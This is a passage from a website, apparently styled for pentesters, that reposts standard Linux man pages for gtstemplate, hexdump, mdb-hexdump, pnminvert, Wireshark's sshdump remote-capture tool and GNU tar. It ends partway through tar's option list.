              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

989 - Linux cli command gtstemplate

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gtstemplate and provides detailed information about the command gtstemplate, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gtstemplate.

NAME 🖥️ gtstemplate 🖥️

generates of a template used to create new object classes.

SYNOPSIS

gtstemplate [ OPTIONS ] [ LIBRARIES ]

DESCRIPTION

This manual page documents briefly the gtstemplate command.

OPTIONS

These programs follow the usual GNU command line syntax, with long options starting with two dashes (`-’). A summary of options is included below.

–no-extra-data
–no-extra-method
**–overload=**METHOD

AUTHOR

gtstemplate was written by Stephane Popinet <[email protected]>.

This manual page was written by Ruben Molina <[email protected]>, for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

990 - Linux cli command hd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hd and provides detailed information about the command hd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hd.

NAME 🖥️ hd 🖥️

display file contents in hexadecimal, decimal, octal, or ascii

SYNOPSIS

hexdump options file

hd options file

DESCRIPTION

The hexdump utility is a filter which displays the specified files, or standard input if no files are specified, in a user-specified format.

OPTIONS

Below, the length and offset arguments may be followed by the multiplicative suffixes KiB (=1024), MiB (=1024*1024), and so on for GiB, TiB, PiB, EiB, ZiB and YiB (the “iB” is optional, e.g., “K” has the same meaning as “KiB”), or the suffixes KB (=1000), MB (=1000*1000), and so on for GB, TB, PB, EB, ZB and YB.

-b, –one-byte-octal

One-byte octal display. Display the input offset in hexadecimal, followed by sixteen space-separated, three-column, zero-filled bytes of input data, in octal, per line.

-X, –one-byte-hex

One-byte hexadecimal display. Display the input offset in hexadecimal, followed by sixteen space-separated, two-column, zero-filled bytes of input data, in hexadecimal, per line.

-c, –one-byte-char

One-byte character display. Display the input offset in hexadecimal, followed by sixteen space-separated, three-column, space-filled characters of input data per line.

-C, –canonical

Canonical hex+ASCII display. Display the input offset in hexadecimal, followed by sixteen space-separated, two-column, hexadecimal bytes, followed by the same sixteen bytes in %_p format enclosed in | characters. Invoking the program as hd implies this option.

-d, –two-bytes-decimal

Two-byte decimal display. Display the input offset in hexadecimal, followed by eight space-separated, five-column, zero-filled, two-byte units of input data, in unsigned decimal, per line.

-e, –format format_string

Specify a format string to be used for displaying data.

-f, –format-file file

Specify a file that contains one or more newline-separated format strings. Empty lines and lines whose first non-blank character is a hash mark (#) are ignored.

-L, –color[=when]

Accept color units for the output. The optional argument when can be auto, never or always. If the when argument is omitted, it defaults to auto. The colors can be disabled; for the current built-in default see the –help output. See also the Colors subsection and the COLORS section below.

-n, –length length

Interpret only length bytes of input.

-o, –two-bytes-octal

Two-byte octal display. Display the input offset in hexadecimal, followed by eight space-separated, six-column, zero-filled, two-byte quantities of input data, in octal, per line.

-s, –skip offset

Skip offset bytes from the beginning of the input.

-v, –no-squeezing

The -v option causes hexdump to display all input data. Without the -v option, any number of groups of output lines which would be identical to the immediately preceding group of output lines (except for the input offsets), are replaced with a line comprised of a single asterisk.

-x, –two-bytes-hex

Two-byte hexadecimal display. Display the input offset in hexadecimal, followed by eight space-separated, four-column, zero-filled, two-byte quantities of input data, in hexadecimal, per line.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

For each input file, hexdump sequentially copies the input to standard output, transforming the data according to the format strings specified by the -e and -f options, in the order that they were specified.

FORMATS

A format string contains any number of format units, separated by whitespace. A format unit contains up to three items: an iteration count, a byte count, and a format.

The iteration count is an optional positive integer, which defaults to one. Each format is applied iteration count times.

The byte count is an optional positive integer. If specified it defines the number of bytes to be interpreted by each iteration of the format.

If an iteration count and/or a byte count is specified, a single slash must be placed after the iteration count and/or before the byte count to disambiguate them. Any whitespace before or after the slash is ignored.

The format is required and must be surrounded by double quote (" “) marks. It is interpreted as a fprintf-style format string (see fprintf(3)), with the following exceptions:

1.

An asterisk (*) may not be used as a field width or precision.

2.

A byte count or field precision is required for each s conversion character (unlike the fprintf(3) default which prints the entire string if the precision is unspecified).

3.

The conversion characters h, l, n, p, and q are not supported.

4.

The single character escape sequences described in the C standard are supported:

>>>>>>>>>>>>>>>
NULL
<alert character>
<backspace>
<form-feed>
<newline>
<carriage return>
<tab>
<vertical tab>
> >

Conversion strings

The hexdump utility also supports the following additional conversion strings.

_a[dox]

Display the input offset, cumulative across input files, of the next byte to be displayed. The appended characters d, o, and x specify the display base as decimal, octal or hexadecimal respectively.

_A[dox]

Almost identical to the _a conversion string except that it is only performed once, when all of the input data has been processed.

_c

Output characters in the default character set. Non-printing characters are displayed in three-character, zero-padded octal, except for those representable by standard escape notation (see above), which are displayed as two-character strings.

_p

Output characters in the default character set. Non-printing characters are displayed as a single ..

_u

Output US ASCII characters, with the exception that control characters are displayed using the following, lower-case, names. Characters greater than 0xff, hexadecimal, are displayed as hexadecimal strings.

000 nul001 soh002 stx003 etx004 eot005 enq
006 ack007 bel008 bs009 ht00A lf00B vt
00C ff00D cr00E so00F si010 dle011 dc1
012 dc2013 dc3014 dc4015 nak016 syn017 etb
018 can019 em01A sub01B esc01C fs01D gs
01E rs01F us0FF del

Colors

When put at the end of a format specifier, hexdump highlights the respective string with the color specified. Conditions, if present, are evaluated prior to highlighting.

_L[color_unit_1,color_unit_2,…,color_unit_n]

The full syntax of a color unit is as follows:

[!]COLOR[:VALUE][@OFFSET_START[-END]]

!

Negate the condition. Please note that it only makes sense to negate a unit if both a value/string and an offset are specified. In that case the respective output string will be highlighted if and only if the value/string does not match the one at the offset.

COLOR

One of the 8 basic shell colors.

VALUE

A value to be matched specified in hexadecimal, or octal base, or as a string. Please note that the usual C escape sequences are not interpreted by hexdump inside the color_units.

OFFSET

An offset or an offset range at which to check for a match. Please note that lone OFFSET_START uses the same value as END offset.

Counters

The default and supported byte counts for the conversion characters are as follows:

%_c, %_p, %_u, %c

One byte counts only.

%d, %i, %o, %u, %X, %x

Four byte default, one, two and four byte counts supported.

%E, %e, %f, %G, %g

Eight byte default, four byte counts supported.

The amount of data interpreted by each format string is the sum of the data required by each format unit, which is the iteration count times the byte count, or the iteration count times the number of bytes required by the format if the byte count is not specified.

The input is manipulated in blocks, where a block is defined as the largest amount of data specified by any format string. Format strings interpreting less than an input block’s worth of data, whose last format unit both interprets some number of bytes and does not have a specified iteration count, have the iteration count incremented until the entire input block has been processed or there is not enough data remaining in the block to satisfy the format string.

If, either as a result of user specification or hexdump modifying the iteration count as described above, an iteration count is greater than one, no trailing whitespace characters are output during the last iteration.

It is an error to specify a byte count as well as multiple conversion characters or strings unless all but one of the conversion characters or strings is _a or _A.

If, as a result of the specification of the -n option or end-of-file being reached, input data only partially satisfies a format string, the input block is zero-padded sufficiently to display all available data (i.e., any format units overlapping the end of data will display some number of the zero bytes).

Further output by such format strings is replaced by an equivalent number of spaces. An equivalent number of spaces is defined as the number of spaces output by an s conversion character with the same field width and precision as the original conversion character or conversion string but with any +, , # conversion flag characters removed, and referencing a NULL string.

If no format strings are specified, the default display is very similar to the -x output format (the -x option causes more space to be used between format units than in the default output).

EXIT STATUS

hexdump exits 0 on success and > 0 if an error occurred.

CONFORMING TO

The hexdump utility is expected to be IEEE Std 1003.2 (“POSIX.2”) compatible.

EXAMPLES

Display the input in perusal format:

“%06.6_ao " 12/1 “%3_u " " " “%_p " " "

Implement the -x option:

“%07.7_Ax " “%07.7_ax " 8/2 “%04x " " "

MBR Boot Signature example: Highlight the addresses cyan and the bytes at offsets 510 and 511 green if their value is 0xAA55, red otherwise.

“%07.7_Ax_L[cyan] " “%07.7_ax_L[cyan] " 8/2 " %04x_L[green:0xAA55@510-511,!red:0xAA55@510-511] " " "

COLORS

The output colorization is implemented by terminal-colors.d(5) functionality. Implicit coloring can be disabled by an empty file

/etc/terminal-colors.d/hexdump.disable

for the hexdump command or for all tools by

/etc/terminal-colors.d/disable

The user-specific $XDG_CONFIG_HOME/terminal-colors.d or $HOME/.config/terminal-colors.d overrides the global setting.

Note that the output colorization may be enabled by default, and in this case terminal-colors.d directories do not have to exist yet.

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The hexdump command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

991 - Linux cli command mdb-hexdump

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mdb-hexdump and provides detailed information about the command mdb-hexdump, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mdb-hexdump.

NAME 🖥️ mdb-hexdump 🖥️

hexdump** - Hexdump utility from MDB Tools

SYNOPSIS

mdb-hexdump file [pagenumber]

DESCRIPTION

mdb-hexdump is a utility program distributed with MDB Tools.

mdb-hexdump makes a hex dump of a binary file (such as an mdb file**).**

ENVIRONMENT

MDB_JET3_CHARSET
Defines the charset of the input JET3 (access 97) file**. Default is CP1252. See iconv(1).**

MDBICONV
Defines the output charset. Default is UTF-8. mdbtools must have been compiled with iconv.

MDBOPTS
Colon-separated list of options:

  • debug_like

  • debug_write

  • debug_usage

  • debug_ole

  • debug_row

  • debug_props

  • debug_all is a shortcut for all debug_* options

  • no_memo (deprecated; has no effect)

  • use_index (experimental; requires libmswstr)

SEE ALSO

mdb-array(1) mdb-count(1) mdb-export(1) mdb-header(1) mdb-import(1) mdb-json(1) mdb-parsecsv(1) mdb-prop(1) mdb-queries(1) mdb-schema(1) mdb-sql(1) mdb-tables(1) mdb-ver(1)

AUTHORS

The mdb-hexdump utility was written by Brian Bruns.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

992 - Linux cli command pnminvert

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnminvert and provides detailed information about the command pnminvert, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnminvert.

.

NAME 🖥️ pnminvert 🖥️

invert a PNM image

SYNOPSIS

pnminvert

[pnmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pnminvert reads a PNM image as input, inverts it black for white, and produces a PNM image as output.

If the image is grayscale, pnminvert replaces a pixel with one of complementary brightness, i.e. if the original pixel has gamma-adjusted gray value G, the output pixel has gray value maxval - G.

If the image is color, pnminvert inverts each individual RGB component the same as for a grayscale image.

OPTIONS

There are no command line options defined specifically for pnminvert, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pnm(1)

AUTHOR

Copyright (C) 1989 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnminvert.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

993 - Linux cli command sshdump

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sshdump and provides detailed information about the command sshdump, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sshdump.

NAME 🖥️ sshdump 🖥️

Provide interfaces to capture from a remote host through SSH using a remote capture binary.

SYNOPSIS

sshdump–help ] [ –version ] [ –extcap-interfaces ] [ –extcap-dlts ] [ –extcap-interface=<interface> ] [ –extcap-config ] [ –extcap-capture-filter=<capture filter> ] [ –capture ] [ –fifo=<path to file or pipe> ] [ –remote-host=<IP address> ] [ –remote-port=<TCP port> ] [ –remote-username=<username> ] [ –remote-password=<password> ] [ –sshkey=<private key path> ] [ –sshkey-passphrase=<private key passphrase> ] [ –proxycommand=<SSH proxy command> ] [ –remote-interface=<interface> ] [ –remote-capture-command-select=<capture command selection> ] [ –remote-capture-command=<capture command> ] [ –remote-priv=<privilege elevation command selection> ] [ –remote-priv-user=<privileged user name> ] [ –remote-noprom ] [ –remote-filter=<remote capture filter> ] [ –remote-count=<number> ]

sshdump –extcap-interfaces

sshdump –extcap-interface=<interface> –extcap-dlts

sshdump –extcap-interface=<interface> –extcap-config

sshdump –extcap-interface=<interface> –fifo=<path to file or pipe> –capture –remote-host=myremotehost –remote-port=22 –remote-username=user –remote-interface=eth2 –remote-capture-command=tcpdump -U -i eth0 -w-

DESCRIPTION

Sshdump is an extcap tool that allows one to run a remote capture tool over a SSH connection. The requirement is that the capture executable must have the capabilities to capture from the wanted interface.

The feature is functionally equivalent to run commands like

$ ssh remoteuser@remotehost -p 22222 tcpdump -U -i IFACE -w - > FILE & $ wireshark FILE

$ ssh remoteuser@remotehost /sbin/dumpcap -i IFACE -P -w - -f “not port 22” > FILE & $ wireshark FILE

$ ssh somehost dumpcap -P -w - -f udp | tshark -i -

Typically sshdump is not invoked directly. Instead it can be configured through the Wireshark graphical user interface or its command line. The following will start Wireshark and start capturing from host remotehost:

$ wireshark -oextcap.sshdump.remotehost:“remotehost” -i sshdump -k

To explicitly control the remote capture command:

$ wireshark -oextcap.sshdump.remotehost:“remotehost”
-oextcap.sshdump.remotecapturecommand:“tcpdump -i eth0 -Uw- not port 22”
-i sshdump -k

Supported interfaces:

1.

ssh

OPTIONS

–help

Print program arguments.

–version

Print program version.

–extcap-interfaces

List available interfaces.

–extcap-interface=<interface>

Use specified interfaces.

–extcap-dlts

List DLTs of specified interface.

–extcap-config

List configuration options of specified interface.

–extcap-capture-filter=<capture filter>

The capture filter. It corresponds to the value provided via the tshark -f option, and the Capture Filter field next to the interfaces list in the Wireshark interface.

–capture

Start capturing from specified interface and write raw packet data to the location specified by –fifo.

–fifo=<path to file or pipe>

Save captured packet to file or send it through pipe.

–remote-host=<remote host>

The address of the remote host for capture.

–remote-port=<remote port>

The SSH port of the remote host.

–remote-username=<username>

The username for SSH authentication.

–remote-password=<password>

The password to use (if not ssh-agent and pubkey are used). WARNING: the passwords are stored in plaintext and visible to all users on this system. It is recommended to use keyfiles with a SSH agent.

–sshkey=<SSH private key path>

The path to a private key for authentication. NOTE: Only OPENSSH key/value pair format is supported.

–sshkey-passphrase=<SSH private key passphrase>

The passphrase for the private key for authentication.

–proxycommand=<proxy command>

The command to use as proxy for the SSH connection.

–remote-interface=<remote interface>

The remote network interface to capture from.

–remote-capture-command-select=<capture command-selection>

The selection of the build-in support for remote capture commands. Either dumpcap for a remote capture command using dumpcap, tcpdump for a remote capture command using tcpdump, or other, where the remote capture command is to be given with the –remote-capture-command option.

Note that selecting dumpcap allows for specifying multiple capture interfaces as a whitespace separated list, while tcpdump does not.

–remote-capture-command=<capture command>

A custom remote capture command that produces the remote stream that is shown in Wireshark. The command must be able to produce a PCAP stream written to STDOUT. See below for more examples.

If using tcpdump, use the -w- option to ensure that packets are written to standard output (stdout). Include the -U option to write packets as soon as they are received.

When specified, this command will be used as is, options such as the capture filter (–extcap-capture-filter) will not be appended.

–remote-priv=<privilege elevation command selection>

The command to use to achieve privilege elevation to capture on the remote host. Either none, sudo or doas.

–remote-priv-user=<privileged user name>

If a command is used to achieve privilege elevation to capture on the remote host this may require a user name. If needed use this option to give that user name.

–remote-filter=<capture filter>

The remote capture filter. It corresponds to the value provided via the tshark -f option, and the Capture Filter field next to the interfaces list in the Wireshark interface.

–remote-count=<number>

The number of packets to capture.

EXAMPLES

To see program arguments:

sshdump –help

To see program version:

sshdump –version

To see interfaces:

sshdump –extcap-interfaces

Only one interface (sshdump) is supported.

Example output

interface {value=sshdump}{display=SSH remote capture}

To see interface DLTs:

sshdump –extcap-interface=sshdump –extcap-dlts

Example output

dlt {number=147}{name=sshdump}{display=Remote capture dependent DLT}

To see interface configuration options:

sshdump –extcap-interface=sshdump –extcap-config

Example output

arg {number=0}{call=–remote-host}{display=Remote SSH server address}{type=string} {tooltip=The remote SSH host. It can be both an IP address or a hostname}{required=true}{group=Server} arg {number=1}{call=–remote-port}{display=Remote SSH server port}{type=unsigned}{default=22} {tooltip=The remote SSH host port (1-65535)}{range=1,65535}{group=Server} arg {number=2}{call=–remote-username}{display=Remote SSH server username}{type=string} {tooltip=The remote SSH username. If not provided, the current user will be used}{group=Authentication} arg {number=3}{call=–remote-password}{display=Remote SSH server password}{type=password} {tooltip=The SSH password, used when other methods (SSH agent or key files) are unavailable.}{group=Authentication} arg {number=4}{call=–sshkey}{display=Path to SSH private key}{type=fileselect} {tooltip=The path on the local filesystem of the private SSH key (OpenSSH format)}{mustexist=true}{group=Authentication} arg {number=5}{call=–sshkey-passphrase}{display=SSH key passphrase}{type=password} {tooltip=Passphrase to unlock the SSH private key}{group=Authentication} arg {number=6}{call=–proxycommand}{display=ProxyCommand}{type=string} {tooltip=The command to use as proxy for the SSH connection}{group=Authentication} arg {number=7}{call=–remote-interface}{display=Remote interface}{type=string} {tooltip=The remote network interface used for capture}{group=Capture} arg {number=8}{call=–remote-capture-command-select}{display=Remote capture command selection}{type=radio} {tooltip=The remote capture command to build a command line for}{group=Capture} value {arg=8}{value=dumpcap}{display=dumpcap} value {arg=8}{value=tcpdump}{display=tcpdump}{default=true} value {arg=8}{value=other}{display=Other:} arg {number=9}{call=–remote-capture-command}{display=Remote capture command}{type=string} {tooltip=The remote command used to capture}{group=Capture} arg {number=10}{call=–remote-priv}{display=Gain capture privilege on the remote machine}{type=radio} {tooltip=Optionally prepend the capture command with sudo or doas on the remote machine}{group=Capture} value {arg=10}{value=none}{display=none}{default=true} value {arg=10}{value=sudo}{display=sudo} value {arg=10}{value=doas -n}{display=doas} arg {number=11}{call=–remote-priv-user}{display=Privileged user name for sudo or doas}{type=string} {tooltip=User name of privileged user to execute the capture command on the remote machine}{group=Capture} arg {number=12}{call=–remote-noprom}{display=No promiscuous mode}{type=boolflag} {tooltip=Dont use promiscuous mode on the remote machine}{group=Capture} arg {number=13}{call=–remote-filter}{display=Remote capture filter}{type=string} {tooltip=The remote capture filter}{default=not ((host myhost) and port 22)}{group=Capture} arg {number=14}{call=–remote-count}{display=Packets to capture}{type=unsigned}{default=0} {tooltip=The number of remote packets to capture. (Default: inf)}{group=Capture} arg {number=15}{call=–log-level}{display=Set the log level}{type=selector} {tooltip=Set the log level}{required=false}{group=Debug} value {arg=14}{value=message}{display=Message}{default=true} value {arg=14}{value=info}{display=Info} value {arg=14}{value=debug}{display=Debug} value {arg=14}{value=noisy}{display=Noisy} arg {number=16}{call=–log-file}{display=Use a file for logging}{type=fileselect} {tooltip=Set a file where log messages are written}{required=false}{group=Debug}

To capture:

sshdump –extcap-interface=sshdump –fifo=/tmp/ssh.pcap –capture –remote-host 192.168.1.10 –remote-username user –remote-filter “not port 22”

To use different capture binaries:

sshdump –extcap-interface=sshdump –fifo=/tmp/ssh.pcap –capture –remote-host 192.168.1.10 –remote-username user –remote-priv sudo –remote-capture-command-select tcpdump –remote-interface eth0 –remote-noprom

sshdump –extcap-interface=sshdump –fifo=/tmp/ssh.pcap –capture –remote-host 192.168.1.10 –remote-capture-command=dumpcap -i eth0 -P -w -

sshdump –extcap-interface=sshdump –fifo=/tmp/ssh.pcap –capture –remote-host 192.168.1.10 –remote-capture-command=sudo tcpdump -i eth0 -U -w -

Note

To stop capturing CTRL+C/kill/terminate the application.

The sshdump binary can be renamed to support multiple instances. For instance if we want sshdump to show up twice in wireshark (for instance to handle multiple profiles), we can copy sshdump to sshdump-host1 and sshdump-host2. Each binary will show up an interface name same as the executable name. Those executables not being “sshdump” will show up as “custom version” in the interface description.

SEE ALSO

wireshark(1), tshark(1), dumpcap(1), extcap(4), tcpdump(1)

NOTES

Sshdump is part of the Wireshark distribution. The latest version of Wireshark can be found at <https://www.wireshark.org>.

HTML versions of the Wireshark project man pages are available at <https://www.wireshark.org/docs/man-pages>.

AUTHORS

Original Author
Dario Lombardo <lomato[AT]gmail.com>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

994 - Linux cli command tar

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tar and provides detailed information about the command tar, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tar.

NAME 🖥️ tar 🖥️

an archiving utility

SYNOPSIS

Traditional usage

tar {A|c|d|r|t|u|x}[GnSkUWOmpsMBiajJzZhPlRvwo] [ARG…]

UNIX-style usage

tar -A [OPTIONS] -f ARCHIVE ARCHIVE

tar -c [-f ARCHIVE] [OPTIONS] [FILE…]

tar -d [-f ARCHIVE] [OPTIONS] [FILE…]

tar -r [-f ARCHIVE] [OPTIONS] [FILE…]

tar -t [-f ARCHIVE] [OPTIONS] [MEMBER…]

tar -u [-f ARCHIVE] [OPTIONS] [FILE…]

tar -x [-f ARCHIVE] [OPTIONS] [MEMBER…]

GNU-style usage

tar {–catenate|–concatenate} [OPTIONS] –file ARCHIVE ARCHIVE

tar –create [–file ARCHIVE] [OPTIONS] [FILE…]

tar {–diff|–compare} [–file ARCHIVE] [OPTIONS] [FILE…]

tar –delete [–file ARCHIVE] [OPTIONS] [MEMBER…]

tar –append [–file ARCHIVE] [OPTIONS] [FILE…]

tar –list [–file ARCHIVE] [OPTIONS] [MEMBER…]

tar –test-label [–file ARCHIVE] [OPTIONS] [LABEL…]

tar –update [–file ARCHIVE] [OPTIONS] [FILE…]

tar {–extract|–get} [–file ARCHIVE] [OPTIONS] [MEMBER…]

NOTE

This manpage is a short description of GNU tar. For a detailed discussion, including examples and usage recommendations, refer to the GNU Tar Manual available in texinfo format. If the info reader and the tar documentation are properly installed on your system, the command

info tar

should give you access to the complete manual.

You can also view the manual using the info mode in emacs(1), or find it in various formats online at

https://www.gnu.org/software/tar/manual

If any discrepancies occur between this manpage and the GNU Tar Manual, the later shall be considered the authoritative source.

DESCRIPTION

GNU tar is an archiving program designed to store multiple files in a single file (an archive), and to manipulate such archives. The archive can be either a regular file or a device (e.g. a tape drive, hence the name of the program, which stands for tape archiver), which can be located either on the local or on a remote machine.

Option styles

Options to GNU tar can be given in three different styles. In traditional style, the first argument is a cluster of option letters and all subsequent arguments supply arguments to those options that require them. The arguments are read in the same order as the option letters. Any command line words that remain after all options have been processed are treated as non-option arguments: file or archive member names.

For example, the c option requires creating the archive, the v option requests the verbose operation, and the f option takes an argument that sets the name of the archive to operate upon. The following command, written in the traditional style, instructs tar to store all files from the directory /etc into the archive file etc.tar, verbosely listing the files being archived:

tar cfv etc.tar /etc

In UNIX or short-option style, each option letter is prefixed with a single dash, as in other command line utilities. If an option takes an argument, the argument follows it, either as a separate command line word, or immediately following the option. However, if the option takes an optional argument, the argument must follow the option letter without any intervening whitespace, as in -g/tmp/snar.db.

Any number of options not taking arguments can be clustered together after a single dash, e.g. -vkp. An option that takes an argument (whether mandatory or optional) can appear at the end of such a cluster, e.g. -vkpf a.tar.

The example command above written in the short-option style could look like:

tar -cvf etc.tar /etc

or

tar -c -v -f etc.tar /etc

In GNU or long-option style, each option begins with two dashes and has a meaningful name, consisting of lower-case letters and dashes. When used, the long option can be abbreviated to its initial letters, provided that this does not create ambiguity. Arguments to long options are supplied either as a separate command line word, immediately following the option, or separated from the option by an equals sign with no intervening whitespace. Optional arguments must always use the latter method.

Here are several ways of writing the example command in this style:

tar --create --file etc.tar --verbose /etc

or (abbreviating some options):

tar --cre --file=etc.tar --verb /etc

The options in all three styles can be intermixed, although doing so with old options is not encouraged.

Operation mode

The options listed in the table below tell GNU tar what operation it is to perform. Exactly one of them must be given. The meaning of non-option arguments depends on the operation mode requested.

-A, –catenate, –concatenate
Append archives to the end of another archive. The arguments are treated as the names of archives to append. All archives must be of the same format as the archive they are appended to, otherwise the resulting archive might be unusable with non-GNU implementations of tar. Notice also that when more than one archive is given, the members from archives other than the first one will be accessible in the resulting archive only when using the -i (–ignore-zeros) option.

Compressed archives cannot be concatenated.

-c, –create
Create a new archive. Arguments supply the names of the files to be archived. Directories are archived recursively, unless the –no-recursion option is given.

-d, –diff, –compare
Find differences between archive and file system. The arguments are optional and specify archive members to compare. If not given, the current working directory is assumed.

–delete
Delete from the archive. The arguments supply names of the archive members to be removed. At least one argument must be given.

This option does not operate on compressed archives. There is no short option equivalent.

-r, –append
Append files to the end of an archive. Arguments have the same meaning as for -c (–create).

-t, –list
List the contents of an archive. Arguments are optional. When given, they specify the names of the members to list.

–test-label
